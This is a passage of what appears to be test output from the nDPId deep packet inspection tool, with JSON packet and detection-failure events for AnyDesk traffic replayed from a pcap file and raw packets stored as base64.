pk3dalzBwV111rK9IGMWAqIqFML1qpXZ0PoqSert\/xi\/st9EFy1476b86P4iGbX4kyzMQm2DzRF9HF69VbotH9HG1o7bxrM1DQRRVBbsVePEr52Ep1zIcZyCCVBzySzjPJZmF+a9mMS7EhR7sRkshZwQ26X1WIAnqppKmu"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1255,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07825{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1260,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":954558,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfZJAAIAGAADAqAG7wKgBstOUG56PJLswWcQvL1AYIBOExAAAFwMDFXpZ4hNO+msV39ipl1gT+1gNKm3gJGwL\/JPxg8DloCMpXmI3It3hTRxyNIOQsMtjLfL0W+rbZo8jbwVe10qHTAL98rcVqCLch+aINbd0eWlAOM9C+1ZvRzP5r3PhQRlynubnygFxbgYdkUvNNUOhEyuxJhCwW+4aoMnvbZCbdGnoVSjaEh4rKHnug72pHVgHfD0bcZohWm5vo6CuiOPLXoXg\/1GW7V5tStgB\/w4SgpRRtXPHEby2nrvOUbfAWVj6HbhrT5ymGPv5+LeCDr5z9M9zZY+\/SKodRT557xRiuntSADwTuK8+Yf3jzL\/T6H2lI0bieemduQEd\/QEcI3NTU4J5feiFYL2WX1RkChfUnuGlDsIZaaoen\/oIIt33FAtdGuVqNr2bSMVw8xeLBuOytlEcL0SlFVQd+HT70pZyMTg+EjThFfdDzUJAZjw2wR6R3Yos\/MNOTtrDXFxFbGJGuzGrp\/ALd3l\/Bb9HydNPguspjXtydncy64cRey5gI6SbGi5IFVEJA379LN8Hp8DzJLSVCmgtALiJqleKfQIhHmHYNQr7GX6lMF86ML5keexUwX1VfgkS3SIj2gbibrL76q+rMuzW8kXdJBBu7VzmC8UF19JYWptINvg5Xk7ALjbTkd97Eb8TFOFYd8mUdqUNKOhclvwI95utY1v4AKdWWc67YHYbdQBjC078eQX2HBgS35U1bq3cDEE\/SAqMl\/f1CIqNmUxe3Usl4iK1nDiMePDRvm0p6stA29EW2xpGUVbebfyV+UtlqyU5N93JldWnTaU6IMfeBJdAV5irKoxlk9QNZ4BgNU1izcySxB30qs0HbmqcIcnumc1pzdFts\/MMDwTyRIfV4MHugaGO3WhNfov4fB7fs8qtPaxdCHBu2xEIVFmFG4eLUu5ljp9YsXU9UUAv2EvZihZrnY51R4yfjtiBaehbeFDVqyKulNFlo4XCXC709ssZ\/3I2L7Jbb23a9EL8j\/crjuDVisLy3OLA08FksKD1uV25zBjVbgI\/Htn3OYa1K\/IM+zGQK6H2cFKtUGIi\/93IG1Pz8bdtJkfQWImCLNvwaJ69f1dZu1OB\/u7ilIFmavSXrAeMsPVgCI106NRacJrqYaHx23JGdLCXqIr2Gjz9garMyVJNLwm+KrOGoPoBE0V6fC+9d2rrSqWgGJAXPxRyRtrBOqHdqUSsiUCufEQtAnN92cGmUAylntNAHFwnfgIufnVma5E2C3+vCnytpApEypIn1yOosq6eDiAKRwB67JJICFbDRG9h0SOIIsj9p0R120CkfnfZhRMGueGi9+s4t+JEpdnR\/Zf2S0Ay0QbQdzWp2FXmRc87y5M2uC+cwE08drdfEyjFx+BJYBAYbe5d0jQ+oHP0ALA8141G7h85BNni5BZQen\/AaXrTCIRe8WcLDP4daC0cxzHhIsNFODUSmpOiU0hwUVyres+GjXFH0zsUgEoKd2P0jwC06l3VJ8Ptk2KJye1aEkKqPudJeoail6dB3jbao7j8hI+c\/U3OTmE7gOYO\/fRv3Ih2Dh\/fGUWg3JuM09Yp4\/b5awHWJvLDqWcSFiF9Pje7IrCu5Tq4YDjlJe1lWjdrwUCvUGeTbytf1Gg1fHwwdKNm2mBk5x6J593xvvdlrWqwcNzHFRCWd2KFrBE\/VQ3HSfQK+HY0lDDYYHeKJLzuzqyoW6NjTrS2JJlA+0MXMpzlu6gt921Pc\/e+IqWuAxPEa3oZPA9UxnCt1kbVF4aKuzZcfTQ7I4YQzh0iLY4Gf5F7rIX3lgkjMHJnHUZRcMnuImeH0tBLzR+FAeJ3xlFc8yx+Pixd\/cOxyyY\/Or2dRfayMDtVAcH2j6nbl7tSMBaKzdxqyShpVk3g6l5Pd9tz2yGoPW5pfRuNNcT+qNPD6W0tPy+FDd8\/qieb42wgtqPEKPnPZaYMfmzyQA0SJBLmXCYuh+LA4It0Jq\/Zlhrn6MW6yCwBDm2TVQKjPT8sCOvOH9ujwRXBRZhsbbX+yvTgiEN02WWETpyHtRsY75Oo+PYwPAWZdracuv\/Aj9srb2L0vUjuQ9y4WgYh7xsD5\/MTcleagteN84841dIeAJkLRhsuvx\/vCBnQOHZGgbydZmMp1sYFrAVxKAgWCDFtL+p3rl26MCD8jSNpk+42h3DqSVHfJ0kmDC+HiRO1OxBNWOgV4\/0EVjQ1Ti+ic13s5aSUX3eVdqjfiDdVXBsmzysQGMefZxLgO9nh7i\/aDC4hozTxEbWYo7bE9Ltr6twUyZmh83RFcssvjo5SVo1ZnqbVSqcDoZsZS7eYE\/7+KgBJUmSaTeJqxdOn1e26AXWktaL+U+ViaULFC1lnzxzo9w8wESeaEu13zLlL3\/\/xAknY8gtG5cju4Vi+h31v7hyES21\/dRL4cnivMommyJdnNewIF+KQ4TbZAVaoP6h+2U2vnLHCQTHN6oTCDObLLyxTxFuPAv07z6bvejW6T35O+kMZn\/VeGQ\/snvwF+CTYBWfGo4fLSsEOwhtIyrll7WXtdxa8gyHb5zrLcfRxQ6N0jW9xj2akimztOUWE1PXoqvl1\/rZNULIxfsJXjKChellqDd6COXkbK6WJVfT8ps4kzbjA0L6n6oDT5rmNHoYRTm5aj0Z8zAQjPUMhZqfekU1glpU+4Npu\/cJpsRmCYGFidXOLTH0UEKc2RpPjHj2ZBe35x5wIQWJ2E3NfyMsWzRVN0i2OZ\/xOA+bkPgqMBpYf7a5FJShlENlq3dTs+e\/e60roYbutoS46jD0Ci7t9emzav0zEywaan6l2H6Mr3fZ1wN31FPWYaC4IHc10U1dfYdAy7QJBH\/KHBMZiGeO5057e5WSjLHCwGmf\/0EppP89tSMmzxSNbcrsaVJkIIIzGx0tixbQvBkeGaYxls8V2SWsp7pO0cQsRvkBWxHd\/GIpr7l32tyJ7h4\/UhqAci1XdgZNW4huFGpfILgBvGm62G2r9jUQzX\/k9+2+NhzNeUNdyiTYqqRO9\/12Xmgdf1rwVAUcum3hVv8nANXBjcqTJkf2OGT\/2lndOQ8V78\/YXFF7rZCVe3CAZZnEfDCStGrJzmAiRLwFPIBSiyWcM2mJI8JpYAJGMGi1KDlzaZ6nHl3NtxKS1EpFDU2areEdyX0hZPH9UYoGG5NAv3Fjd4FX1M3gothF0IWWvAalEO03QwH\/6b8o+Geh844h9akpjtLCc4BoCk0WmA8zi8oQ+pJH1VJ2lwhASxeDvhk4q4\/D+beBZwgbPN0zllaAESk4Mm7WGH4Q3boj9urJU\/AUfwmIO8wn8RAQJSfVhmz5f7g8fsU3nAQS91dEKTKjwyOIGzjYpLuXgmKSlvM8YhoP5Hsh4BLLt4KxdbLLA2Px5Tq1odcAMXN1S099MoDEe+szNUU+17fhVyS8pSra8O2ymCXEqtMdNmJFE9pXi6TReXJDD+AWqmXVt6huVNUXL1bEQsQb+DwPjfvILbIlYYfQZn9Qavt7jP19eT+MI1LV9m41hgevXbblJTQ8ppaw9IJxjZ+NfdN9WP+RLcaO\/wLQdwhP+gpaDtG+mRX8qp2mHxyF3QkOukqq0wI5SlyuYmljpvTwMDEesInIoR+Pq5G9mhDTXveFh6d\/UAs8TFcVnkz3X8dsycmlzTEZea8MjJ18Iax7mtmv0PzusA+lvZepM3WlpJMKCUtgBRbZFZjCLpmCrw5zwSWm193WCoRN+k3CJyOVw3NlGz1OcWsHmesLM6mzLmSRfomS+9zirrLKC7pACmR8Hct8vzxPVtbtUfnnvA1o1Dn21acvMWJ9vaXyeO991uh2R0TM7csSZQgFQMPDVFl1hpZGTVIuIOaXqLifEr4pS0hLAQoFKFN3UPCj85aXrxnWUyu8uPD5jnQG5h\/N+D9e9kT0g8FuSVMiSjGWk3lod5KZiNPIxc+MyAHl2XYHtPdCRAgEv6lhAKVDnchPDqNtktd9YbQU6gi27DTN6DMPv7RDkHZzsQU3w8vQFtnxxqEfSLlVj+lnO2qT5txd5VHXoIQ+CeiShVm5m3CBEU5IQXM0h5AKjAttu8YZlQCuBsfXkqH2EM4SK88Hq0L42pyr9xDkE\/14EtvCLjGGa99ZsNLaCmqTc7uX6rx9lOba0oPzMRofheyh+NWZYiz98sXJLmSXZ63s0mPm8Hx4hwX1x4ROwxm3Fe4eiu4KIZ9+5qM19Ck+ZEQ4Hmp9N3OeiWDvcVIPEJW\/Es77Rw+r\/hTggrkfB5QLOiCzUljDAyYty5GKV0x7Hr0zXDFrFnms5IqQNmpgxWDIXps+U5avKJhU8XRQeTFWIV9dGrbPZpsaJArFFa5kby\/Zue4AMD6TIMP7AoyaeK0kxrQlX0yEpKXnHMqPbZ67fA3WHPKnU70Yi1YCP5LmrHXvX6UUpb9RV\/sM7eb+b+H1HxFtUzMY61PeklTnS9X5XbW102TYBehFYU\/5E1mJl7GBRH3syi+ZmcjN9YQyo9U+zYFZvL8l06FVbF9cSxkUYJ6+nLbBY12WFQA8oiJxMUojG+\/WpdeCOin0zvPzF6uhy6OJeJtpXRIu28mrP95Fkgy3ZR5M60mjU0V2zXwo4LZ11aOHDY\/GxyvdBJnRWLM+c2xomiLlVE0wVkNVDkf9o9L+crx6QLAgR+8NY92xi6EXkf6N+O+qF2Q9KpywSmZFPg4ZzzlbXmn3F18fi5DkbVNGoMGcDUJ7mK3aveVGUTs6\/I056ONQVxgLZim3GrcnxheI5ca6SuaR3zpW1P64IYgueqM6kVW3HWR9rJQC4tdZ4jZYwe\/pzQBqEwiTIpUabQslgj5XbQBH3aC\/tCg42jkGYq07jO2MxeTRsHpVC4ZEXJ7nl9uj3ms5I8vRFTN\/Oko4k\/\/ln0K09efi0P\/JOvYrJxIa815I14fw4tfprE5SlR\/6D3v+pt\/O1BKy0vKn\/upshhP0Yi4rnpLZFfZwip0iDdSoZi8X91xIHtHvIerCnZH3CQk2Xtiyiujpn0Qifcsy6zNqbktLkcvTNVsP3qUbEZMDV4bef\/K\/zdUsEGuIAiW6w5T9r0NFYFGhszBuY8VCTehYwWTrRtGkjgZecy4Fr+j1SroQHniMz2ADZ1+bM5d\/Nb0\/v8qgx3tz01G8vz8LtVBb88KDmt6Cuq6VnaEAvu\/cJu3AuaiMf6hJyRW0a94VTuXBuaQ6XmFZGQxmDMMqeMrl1fMLcAKpfM4B8ymIuDC4qssUJgvDuVcJi+MxaG1UuUyyv\/wiZQTBVEmnyUgMjRpWZx9AnU8VneETsegX\/hMclICEUDjBWylzeAHnzkaD9PMyU63IYxcHYUg7LxDHGXy2fZPefdrnaeoWIW4zhS1WCKPiy6jjXu+oHh9yRF0HgcylqUo6CGUIT8PNkDNC4c79oSc50w2po8m+ZaQ\/KRqZdzdqW3HmpFkM0fZ8sTum2+9o1N8aoNh0vYQ6onjJi1DCw5mwjRO8IqozZivyV7fv1lfpy6ajwWEPb146UnvOppG2WULis1hMCQUg9JX9as0KMhgjKm7tb2d0WXGvUXShj1VY\/u+2ChlBLQSTevaJsIhDBakaJwm6NjVuHaw3vNw\/ckrVvb+o2O2KLbxy46AH02gRlvqvnvHu+3gUyjvXB29lpmp88qdwcXS6D\/8ZziClFmyZttqmdQ5RXiTCqqQ\/W0j90h3IqXL8krn+6YGKhQbFw9KRiwhpPJLAWiKvCn\/0iGo2OWocXr6lNbcpM8VMy94Kj1TD7el5hKgNeU4zm3+SCPuKHqYUld5In0e8Xwe8eO6fRPE9dcCuMKpt\/62sYY6j\/iBm6VmQLm+bYkQtlPYdKhMtNu8LHPoZ8VvuwLl46DH6v6aDBcCwTtCbhvfRaWXDwGU81ImXy+PBFSHfVdxVl6qcFuMSVmCvYdmQr2j4M1p0xEMpPvDf8J8sshtNxNs0nrnqP+TYAvlnG\/wly4Z3cR4S3Xsk\/6OWJsFEKeMpLirwxV6bXfExztI3cv0q0q3wr99NsVsX8Nk1P6MBpHRGIChWTVsy37CZ4DHlcPWD6Kz5AfQzdkwk2Ok3Yi+z2CRFnclJVuy\/B89jihAcI1+Y3e2+rXaUNBiUJ1ByTTVUi9\/9f8+Z1Pei8uvOl\/ttNfocKYWX\/ahrSTcWsyZ0U7LTIaD5lQtUtumMgLK5+UMOM7LN9GCv+tDArNOOyiMnyBO4ug5+ngeMvDmi+3j0Vmx\/8PtADowybNvtG9n6A5JyV7fbkzAhK6DRtx9Xs6sMBOh2L6fTBdvyxVEYJbWZnJehf0fx1q5L7yHUiNgFraealY6GbMOZXsOar8nrCcfQVH2ZAOy5w5OIHDf5SLd2xYLVDwfAgITr6vO3JduKyjkrk2kbJ1IPJ48SVlKJTHfaiJZGQVZHNzvtUyYoVnc0zmzN8Djmw1hfTujxw+h\/ZdW1URzQ5EWxAh7rBhK5bIXnfDZ48Z\/f+Jemzp0BXbGJDsnXdN1A0gafkQT6wkFlq7wVoLCaBzczMxcpUHaEgpCWKUePojI3nn2iZC+UyXzQqttofEu0UxEyHrCMj55b0Wt9yC2lk5VnhGIzoSWnpEvHrMU1ngTpVBXmgJtYNB7PbYX+0UIdSno8SA3l+3MLbiARKJ+V59AVW4UkTS7CKcOmOBWDNGZnc1oIrcC5Hmb75UZa9juANwF6XtBAQIPfbAiiY1fkof9gMpyG7ykkNzwAHURC813BpcjACaU\/YF+DtNTVPkQphEDdqIRcW1zIrHpe07nObXxoYBpAetDxI9gaLL6MEf4qpi8\/CmQBpc4S89T\/ehGeEyB7hi9SWeuTLLrVRTpQCtFr2q19UygbUJxWBH56MWwvyAJXLEmdbWNp15GMBdImFHX9EWWfx3O6HzgQ6e5ZqnKo5zqpK8c+jnFJaaLq73khD6iBIsaW7DgSQQtRbAcYVYRNuBYFovZi1MN4ivotjlZJJOEZ3y5xdKbcvmj5tUeOTRpJ2e7Q4ySG3wiT0P8uFhdtzzcuJCuPieojDNVMJWYdtK5CT0Yw7HAIX88rd4Ne5kqjJvoP7mcCGG3JJow4yR4Vq6tLIfEOXLO3FFxf2WBKFLvLm+xIAqePm6eeeeZ22YnEN1czs0CWx7kKm\/vH6JorWdnSUPr4UnUNYBFXQsgFFC9ChwGPdI6kqaAz3KPrMoV4Ee5NnoKiECUuMapo0stUs0sDHfiubLA9giaKnwIHv9Iz7\/WeTiAID62hfHpr+6GzJuh5dUA373IKWYYQWQQTlYHZLowN5TvJTzmgldKhx981RciyRz3AXtq093ldxzRWa5OdkbC03NYF7O1sTLYjMF4uofOB8h7bhdT4+0Bf+HAeYPd6HIbLpjBywFjEfWU+a6m05WUD\/OxPBTt4rNLxOIA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1260,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07811{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1261,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":954594,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfZZAAIAGAADAqAG7wKgBstOUG56PJNCvWcQvL1AYIBOExAAAFwMDFXdZ4hNO+msV4JzxL\/O8kFfPHX502B450knNu+S5OFzEMcSvkfaKVO26OH5wu\/3B1Z+dAZe7IgwhXoo4Op3iiORAWk1HL+gKATywQpUAhKISC55mk89q\/3I521UmCUewBFX6mYegXik2CsWXL06Y46HKuZsAtwCkKVpG4\/tTn\/D76\/2p5nXdyn0WAHg2SDfUn6cOvkl+gJnuGzUyMUxTY8D3\/rKwSGcF\/ZuwO2B\/wnJCCNzBmjsDppdpxBVpNpfx6xB4ZvOTzaMP\/o8woZy5GZ\/IlfBGRbXjePdrYGpSu5KOn6h9VtrwW33WwddcmXIeYwdhp+G1dxs7TInasylaaU9WVLVypP8CXsaqwILQ6XXT7stiz+WIYou1u7TB+fqUE+5Ni2ZZfpNa296NSimqrU4RllvPkwglGeQDb0+L4nLh6gtgnoIbPEBkcJA3Jbvd6Rw\/1jheFpk4KqPJEvJTQBc5LZdBWyJB6rcP3adWOtH3tL4XKb0zbYGD4ggG2E0PFTdOAUuoD1Ezjuq8O6j+bfKUFqznm5apYi3bp4gsVai5+wxqYbLBP0bOdlPVdZj64yLwBdIfPRq33pwi4fR8wO7cP8QBNeJxzuhrGc7j\/ELRt294Eb8faSf+MwB+V0df6DxTOKK1DYQB4weK5BsI1Yue02IUiO8w11kTKZfsaa4UMKZ7rYPbaDjy+2DU3+zO2iK7YA0ddWEFFOr6ouaeHYtHl5qCwYbnlYt8L4yRY0A18STphJxZDj0IdrinYdc5P2M0dNxOi8xYQmKEtbDUeeY0+c9B6KQBS\/hzy7V2lqPlaje7syFjg1A7PtcwsI32F7X2XmiUiEV6\/ig6YrkROUnjZL7uQvOYU5puggSxJ59cgCKET4aZyO0KPdoUx+BDzslbB6GefxEgFYKLXcd4ZaD16A3rArR5k9kcyrWtvDVyC70+ExmfTFfsK+BFmnrcWRIS1UvJum3gMmB5Zgw\/MaygFrw6oTL4RETdSV8pbkJd\/lFftjoiLN1re1SiY\/563MSFj6itbot6IcBAARQf7cMxVsxch\/pS8YUvOCHC7LFWK5n4ucVzFMKZbjyq4ODeQlgjIFilHNY7kaLVh34rU\/IRmH4GpImvxS\/o8lPuQcttXHxy91AfHinbdVmSTUxXf3JVwXMrAs5EO7QlSTg0VS7PsAPoAs0sL4liG7+6nX0YOvGUzSRtUU8KBGyLpr7hF33csyW7sr5zQcurRaTT8mrNeIbL0fOwnlV2QKTcWJu2KGFT3SwZBm4S+6W0RXCvS5uiKumUpwknAwvx80ocGdu3TRcnZzjyLY+4ISRF+Duxw4L\/oezuRhXUh2xoARV72yBJgWI6VOojyVYpxYswfZzCj6LRGCOYGQ59uUeBtSA8rUL3RTI3QgIwCroi0szQ7Wr5icsMJJoR\/HZIlEnYG2X7RjPizVOke8ZSY5O+XJ\/Z7C5tzE8GHddie2SdMwHa1fSSbCP27+CS5\/TFQVfzxPX72gjC84GfOy2WjOCYtkFMUAIGsOA\/1RfrgmunhPFOz22ieRXQLd+O0IzFSGneomqnFx4VxAoZgDbT8L49q4Ye+bwe4nQJBBzvnXA4z6OK+w+7\/RAuT5ODKtZA6qiXBf56dOMM82ar1ecvY9Pmf9hWGyJhZo7SRXUlboO+TxAiwlkNzFbdPpbTl80ZxxIUYhJdxhru3v1C86+WfRnEG0NesX9h3GdxvXqDoBm1eG9q3ezHV1xZAvbR+7ef\/hr+Zbp2b3Z0ovs2apcdPA5dPV6Aij7Pk1d+Ip+tQtDujF4oYnMpw\/dFsrov948i1HK0mfqg0S4uAPd4QOOWIGQPtMS4naRLrE3V00D2V8QDRcLaVMkFDG+WjTYJsAOtX7LDSrXbg4ByYSpLRnerabnQcOZ7INesA6BvoDTSug9KJLZuo+nCbbKhJlUUQC4x3ZNP\/u8xW4zKQzrAUZhxfSAkrTQsrDVqQsTZxLDimTqYdKn9AWS94XThsI1VNOf6fAhlFARzmse0vubqZliSYM9OIJd9aVyEeTrKtB0R3ZT5DZyBKMHViHFoClzk2\/gP+P+inJENU3+m421L+hwEVt3luRjpsquaS\/u0P0JQyi1nQRDqoO5GDYZ2Z10ib9X9hrXcbhXlwWdre\/r\/xzAVbFXUqVnncQ4bUUZ0LfvDSVqkEc2Enu320+Oms13C882nE6jLdW0AYfFtbZpa7avqhu9EMisJlqEW9LtZKd0LMVo+506pm94Vkc7dL\/pXEJR7EhW+11o+mrdNAIU+XCVq6lN5vCj61hi7+M8mWvana1sQrKw7H7BO4X\/w27wJtrWOGGAYWBzFR2wcT3RyVxWszo\/e8rA3wLj5o1xq2OnEvobxazgh5sKy\/HhHr\/tKvbO8iqM5zGRVV8iANH8qmeCW2YcOgqcloMagFi0f+Pl7aZ\/WyZdot2bkElmR0zkH+IN95JK6xOUTrqJFDMei2fOvn03vgbLCyQa0o9W5NKc6iWmYOtjPIAmGXiRQdGWCQDWR4sJHN8Fs4hYq7QS3ORHlbyRrMd7JM28pf7Vkbi+Ky4PvEVnjIWRxDxxIgEk4XzxtUvzxRb3Nvglu4Dly+4KHZH3BP4Iv+xrMsbAYvqL56utyckWfVWwmXRx7zE9D1v39PB6UDcQFWbfoC1dWJ8sbfWZNJDrQ2tksOxsCMBmGtL2iMq3Vg5J\/mRWkLxG5g5aUYWUmUmh6vnh\/x+QMP1AD7SKtYrNbI+CTD4UNbcd\/oeT3Q+VAwaaHe6mfRh0bbtvoXgUgo1exk0EPyXnrR7gkUKeFtgT5K7t+qNRwcjFUayauvWccfEvz2\/krS9QINbXzjfgdR+SSNMs5DjGSLY7vU1ThDcQEpYI5U3Efw1+gZk+3PJ78ZGKBLQNWpn3EFjCRlNppnQxMK7dzH24CnDhuLbELGF9ctksGw5cvz+qxjSjBBXRN04EAgryGKJ019\/V2DIj6z+ACoKPglvs2imdleNK6DwqSU\/XdnxCTY2Hp\/0F4AayOVjNi+5fHNydeyhwv4O4E4HUOWGgXup5rtGjUQIeO0sY9wGSK8q1XT\/C5fMYdtZh9WH+i6pGu1AY8s90XOnoWPGXHw1AHiQgZ+d1qIleFtSyt1kD3Qkc8ZPDv6tsNgEf3qB87Ro+LZ1yiuTPWZ6Mbz5kNPI0dX9b06viUk13M\/pAfX0E\/JehuSem78fhHJb4z5Pv63tZ50fvPk2YURbwwEHKbpZlVX63zsgD3R+cyVB6AxA\/vUnfucscM77dntKOeQEy\/xz2yDtdYhW9jGSMTzBoHh2XFsgJUarRbXF9EL+c26yV3f0sqnfVnwQmQN1agt2j2jFZl9MHn+a\/I3jPMzP\/RpNi0jh8eP2QjmfRagXId5nMpPZP7roK3ty1Wv8zbcVLX8ybkatd1AqdF9bWIQ9dANZcyHNulKkBbEtHgRARMVCIrK3fwwT72H+dJp9w1FqtTPEqqkIogw8VWH4kP\/scg44khkqjbQA73jeZ\/h5EsuEodrsfPT66lYAStL76NrRXzLyeYLPBD7swkqlNYmfEDvWVARkpG0Ne3bqKjNmg6+6ORQpHPfCI7WNA4hKh+ZZT6hPK31Ww5R8\/XNslSVajkmyhqPn3\/kiOjHp2iZTWzKaz8zA5slBdVAtOKhSbBZso0ygoHdvRhv\/1p5MdJ8hx53n60MDTps0iFAuXHPoVILU2mSj31bMyXDJ4A5N5FMoRM3vwDUKeo9r2RiACx\/6NXzIviH4vy6lPAZIpcLGXbUAse6BRGkwYjvKiLJ0nSa2YVAcUlnq6xyd5zGIILzF4xF7lNKoZg3ugGUwgMfeTGq2iL1GJA6P6Fo2b76K6iLi+Ak\/wy53k4hwHXZ1wLZsf\/qb3+HiXn261yU4oQdozeNCdUSNdxy74bU1WBEPmS5iYnq7S2EgxE6Tk0iSp2vaNEEmugfTnUHskAW59ycZiChM3fKdaSPWjb0f11F2a49K+kqNw6eKO+efrUyhNxSpacrS5gpxl\/M78QrXkbs3dKVm2IaQARtkxOH3pgfcVSdumGVsCLKm1rPZA0ft7mys+OYDtseojEWCqak3lNhIeCxQ\/hQJcIJTJtGqlenqn1XocB101PibPGWWJBkKcb6h4pr8uhpT94znQVPAMGUdeXb8kuaoyYL7dhnmvHDDIjsdQLt3rcHQP+QWsGuAi47pBKCtYnlAQhz+oDceBf3kiktPg1dXy0uGB0+deLKR6v+QQ9+FIKkYX24AYQp0FQ9joqNUmchqO6soGUd+O1THmI4ip1299+Lt4bVBGFx\/pwNThKDJPja3x4YfHrHkLEa0\/HOAjM8rtqan02n9RhSFJ6TlPQQ8D5oDJRZzZbxLxcNsquGGcTWgo4ISryY18jYGZ19+Gt4pU3rn1YfhXhbJRKNmtw\/B7ChKRAD+DVKR8iY+DZJ98CRoSMzFWpvozQYfO4CpOtBQaNeWNTFtV1mklK9eMNk+TTPiKMusKwgKAncZEAI+4SYxN3w9uyXjjGb3FR2YEYm5hgzDqcfeozZMcgoHKF4YJrRxZXlPOkpJq4L9ZkfD9ncu+0zPfNw6m4b9B9WFFNq5sakFJnys1JvdvOgw2CD4JwXZou2POsjBdQLzWOAA5l4c9Gxagn8THIAfE1jPpuugTT5oe+nUTLzYju\/JJPNu\/Ixz2xAd5dybj5xxH31qz3qy1BKIUaYtN5+3Lgav4AKdhVCFAyURB0HQDEGZOMg3bUyAG6xqzpODGfLOu1zPxzdfxo2zOy7Ah\/7b+hiZSNQlKoiPK3Jo1EqhFli17PBMCNKrtzJ9UB4RhaB8+cPpPTw2PKZmtDOl5Jc36xXX8TIlh4+Ll6\/yBOAm4LA5f8iaiCw55QRCixMNdLXJmjQUasslVRiIWBlXRivD7Glbi58EVfLUepDrpreK3gH0B6awC9CIHb5bJVmyQe\/tRU0f21U8AaOraybT26l1V142tV00EEknJOQneg9qVDstt2NYIqcpcsuNnvfEYavefWzNcu5tWjFMyPb6Gdhn5Qu3MUyY4eBfYVauCitb2FDxAbcUZEKb+zrz7QgusVGebmF6j6esH4+v3T1jnmq12iOxOZn9I+ZnSwabMjHSZFw56icmyo+z05g7EwluylGoMoqQV57a185nGD+yyhH+iKr2MOq1P6m9JAJm6HTvwDmF4M7\/zc\/nZOiVLIK8CUiM9nkUWCszCo+xRbjIBsISU+612U\/qJTno4JvRN\/pKh2rhr3Q9O3DEq+XhchT33GnIGknxDNFe\/eF9Ny88oucQCkH1eG22pQQYKTekcJM+dNZemIxm6nnBo1gwWvlRZpqLx6ejUMdBSngkh73HZLW+BFOOCpZwKEbEduzoqV2cWfjZCkrVNjJRdIpOKZtOHk05lggCob0HvqgCjOnQ1275aqaGOpPrfBjee2MB2MYM3zzDK3kJ9L+sIba+11LqA+jT0ehFJNM2qX20Uu6TxWC3jNbXl16RC0ZmS5ocdEquWE+57WtBoRQ0QGmCdxXpY2c7HC0belEIdLVrL+aYhyKETsdf0n+gUTBGYmQQQRpEFcKSbaTHY9pX3epKltnZYcBPtwNhR7OOVCRmGXYm7ePOC3qdMZUpt\/pRxyzqy9SqnFxYbtN19+tnnsL4uh1SB6oI7bvJyw3ej9WI5kNcke5cdID0OWCpAG0S5JWpLuB1hbgogQ9OkFrpuIyPK2V\/Ux50FrTmFcNhX5j7FagICe8qQ+9475EWpvmHQKJlJfvGWt6NXg+AIVwZpph3723e4YD6N6XBVJ39dCU8BZL0JKU6md4qcW0Y1omWNOSEbWupI8Jv2paAHhpbkAOZ5QcQEWngYuoDmeAFxsz2ZaGJdVVJ4Lfk5jDkgAC6TjucAhLE03jbA1K5uAk90vOsHo1nstxJGA1smVJZ1fQ9cK\/Lo2NlUtGyq16ydInZH+XN4zYrOI\/UVQ31mHjw1FqLwAEnusswQWvM89jxOW0TixzYxDB7QQLf5SFEYsyNm9xmT\/kllS5hB9pq176Ea8WwcRm56fn3sPCypKI8HsjM5DLKjblpu9vv9WZpE1R4RFRcln2j53AX55G37I7W2cInnyqbBCiDM5SvcZtgWIZJsdM7KFc+yco0KLLGCLxFr39joc9D4dDp2xU+1kb7QybUrFfcTZ3gjx+2U86SMt5TIzvlSsXCjSCYCzQEMiyBtE5QQwE0OyayvfrqQv\/mWhdOhUtGs1Kq4X2LR47RLSMUHK3yLB6inL79RgLp0VOSKXkmTkzd5B9qHR+QJzqyT9RNAy7YBHQlxr+9GP6Xpvc3mLglMaiHpH9Sd2uqCHDLmr1pQpL6TD2qfwdzg9mLriXQ2mTidqWHAMI4G0UG1EMzwLCO6C+zz0guS\/bfyLrvCveTx5IaR5OAA3bKgPOHf4xdbUrun1zaNckOQusPcOjt5GXS0wQUEDfAr8S8y9EYKZ6tWj1WDAig3McpSulGlqR0K\/0i2LrbhBqRdu+8WEaNgqSsqrobzD3gmbb0ExOXjjr8ELXUhyS5Cir1TnWXiofcwKyWAePkWtTi3Ar\/8f\/zR9SeBgDCQGm9cAVlJfE+pIjQDvAeTuphicyDzEIj0sAZt8j8bP9NAU2D91S389rXVyRIzWDUsUssSeC3Pqb2WoIrl7qNAmSsL6Or+NYxkDicnnSYA1VnxCejtMdxRS7K2YMDxcgqdWKuNkoT7mwyFzNPoSEdEhna\/pd5K4ys63Wl2S4+7ssGLFx7jAqOCd8qdAvDmyBbDbn\/SWBjBOx8e\/ayVQlVEprl3XSooanI8IWwkYE2zq51ObSU5GpW+Hb9bw8MPwkSzjgT\/SMtr+UQEqWoDEzZbg7\/UzS6hqbsiL6xvH3IdrEA6D5AmAXICKL1za6kgDbcHioDhqCTQEACT2PCADxrTC7sgm\/IXiY1aj45oihJwNGmxJTt3hyVIdrqMT85klFQDrazn2WW5x7KaLyqlB0EsZ1voWDGFiv4AxTsN0CuXJ7o6c6QP+b1nF7tzm6AEixTFij\/vPAlDg4kOjobZ928QOHdXFo0VYMpYihy6K62rjlwjZ9MWLftGVE+5QUd7fs0YidRuA5IOT5RXbgNEoFiDieJi1HtHhv0SOtzK2NSFe0\/8liafvAHp6QeVxXK1Kvp1vhz87hYA1yoPTmNXQclARIgvgG2yxOuWyDZMgbZnz0WI7pduV5q6KghN+7X\/DDnmZtdcmfshTQ6qQAXhR5dUMLy8eOas039jpUsDb5FEAzY2uXu8f\/6CpNYYxfHGtGzulSQEq2JGmgPqL0f\/WoJW+zsedXiPAvYeHcy36lY8a5z3dpfvFUlcc06t0RNE5EcXI